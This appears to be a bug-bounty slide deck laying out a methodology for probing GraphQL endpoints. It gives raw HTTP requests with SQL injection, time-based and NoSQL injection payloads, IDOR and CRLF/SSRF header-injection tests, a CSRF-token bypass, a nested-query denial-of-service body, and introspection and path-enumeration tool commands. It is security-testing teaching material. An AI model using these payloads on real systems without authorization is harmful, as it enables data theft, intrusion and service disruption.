



GraphQL



Mahmoud M. Awali

 **@0xAwali**



Note

Install InQL In Burp Suite

Steps to produce :-

- 1 - Download InQL
- 2 - Load inql.py As Python Extension Inside Burp Suite
- 3 - Switch To InQL Scan Tab
- 4 - Enter Your Target e.g. <https://www.company.com/graphql>



attacker

My Methodology

Try To Find **The Introspection Query** , To Get All Objects To Help You To Expose Sensitive Information

-  Writeup
-  Writeup
-  Writeup
-  Tweet

```
GET /graphql?query={__schema{types{name,fields{name}}}} HTTP/1.1
Host: company.com
User-Agent: Mozilla/5.0
Referer: https://previous.com/path
Origin: https://www.company.com
```



attacker

My Methodology

If You Found **The Introspection Query** , Try To Use **graphql-visualizer** To View The Model Relationships

•  Tweet

Steps to produce :-

- 1 - **Copy The Introspection Query**
- 2 - **Put It Into The Introspection Query Field**



attacker

My Methodology

If You Found **The Introspection Query** , Try To Use Tools e.g. **gql-generator** To Make A List Of Pasteable Query Strings



Tweet

Steps to produce :-

- 1 - Open Your Terminal
- 2 - Write This Command

```
root@mine:~#gqlg --schemaFilePath file.graphql --destDirPath output
```

```
" --schemaFilePath file.graphql "    File Contains The Introspection Query
```

```
" -destDirPath output "    Directory Of Saving The Queries Generated
```



attacker

My Methodology

Try To **Append ?debug=1 To URL Of GraphQL** To Get More Verbose Results



Video

```
POST /graphql?debug=1 HTTP/1.1
Host: company.com
Content-Length: Number

query {
  user(name: "me ") {
    edges {
      node {
        phone
      }
    }
  }
}
```



attacker

My Methodology

Try To **Remove Object** , To Expose Sensitive Information

-  Video
-  Video
-  Writeup

```
POST /graphql HTTP/1.1
Host: company.com
Content-Length: Number

query {
  user(name: "me") {
    edges {
      node {
        phone
      }
    }
  }
}
```



attacker

My Methodology

Try To **Inject Single Quote ' OR *** In All The Arguments To Detect SQLi

-  Writeup
-  Video

```
POST /graphql HTTP/1.1
Host: company.com
Content-Length: Number
```

```
query {
  user(name: "me ") {
    edges {
      node {
        phone
      }
    }
  }
}
```




attacker

My Methodology

Try To **Inject Boolean-Based SQLi Payloads e.g. OR 1=1'** In All The Arguments To Get SQLi



Tweet

```
POST /graphql HTTP/1.1
Host: company.com
Content-Length: Number

query {
  user(name: "me OR 1=1'") {
    edges {
      node {
        phone
      }
    }
  }
}
```



attacker

My Methodology

Try To **Inject Time-Based SQLi Payloads** e.g. **' SELECT pg_sleep\{(30)\};-- OR OR SLEEP(30)** In All The Arguments To Get SQLi



Writeup



Writeup

```
POST /graphql HTTP/1.1
Host: company.com
Content-Length: Number

query {
  user(name: "me ' SELECT pg_sleep\{(30)\};-- ") {
    edges {
      node {
        phone
      }
    }
  }
}
```



attacker

My Methodology

Try To **Inject NoSQLi Payloads e.g. \$gte** In All The Arguments To Get NoSQLi



Video

```
POST /graphql HTTP/1.1
Host: company.com
Content-Length: Number

query {
  user(name: "{\"me\":{\"$gte\":\"\"}}") {
    edges {
      node {
        phone
      }
    }
  }
}
```



attacker

My Methodology

Try To **Figure Out Is There Is IDOR** OR Not



Blog



Video



Writeup

```
POST /graphql HTTP/1.1
Host: company.com
Content-Length: Number
```

```
query {
  user(id: "ID-Of-Another-User") {
    edges {
      node {
        phone
      }
    }
  }
}
```



attacker

My Methodology

Try To Inject Carriage Return Line Feed e.g. `%0A%01%09` With Injecting Headers
e.g. Host , X-Forwarded-Host etc In All The Arguments To Get SSRF OR CRLF



Tweet

```
POST /graphql HTTP/1.1
Host: company.com
Content-Length: Number

query {
  user(name: "me%0A%01%09Host: %20me.com") {
    edges {
      node {
        phone
      }
    }
  }
}
```



attacker

My Methodology

Try To **Append Parameters To Your Queries** To Expose Sensitive Information

-  Blog
-  Writeup

```
POST /graphql HTTP/1.1
Host: company.com
Content-Length: Number
```

```
query {
  user(name: "me") {
    edges {
      node {
        phone
        key
      }
    }
  }
}
```



attacker

My Methodology

Try To **Figure Out Is There Is CSRF** OR Not



Blog

```
POST /graphql HTTP/1.1
Host: company.com
CSRF-Token: *****
Content-Length: Number

query {
  user(name: "me") {
    edges {
      node {
        phone
      }
    }
  }
}
```



attacker

My Methodology

If There Is CSRF-Token , Try To **Remove It And Use Body Queries As GET Queries** To Bypass Validation On CSRF Token

-  Tweet

-  Tweet

-  Blog

```
GET /graphql?query={user(name: "me"){node{phone}}}  
Host: company.com  
User-Agent: Mozilla/5.0  
Referer: https://previous.com/path  
Origin: https://www.company.com
```




attacker

My Methodology

Try To **Inject Repeated Node In Your Body** To Do DOS Attack

-  **Tweet**

-  **Video**

```
POST /graphql HTTP/1.1
Host: company.com
Content-Length: Number
```

```
query {
  user {
    edges {
      user {
        ....
      }
    }
  }
}
```



attacker

My Methodology

Try To Figure Out All The Paths To Reach A Specific Object By Using Tools e.g. **graphql-path-enum**



Writeup

Steps to produce :-

- 1 - Open Your Terminal
- 2 - Write This Command

```
root@mine:~#graphql-path-enum -i introspection.json -t object-word
```

" -i introspection.json " Path To The Full Introspection Query

" -t object-word " Object To Look For In The GraphQL

Thank You

Mahmoud M. Awali

 **@0xAwali**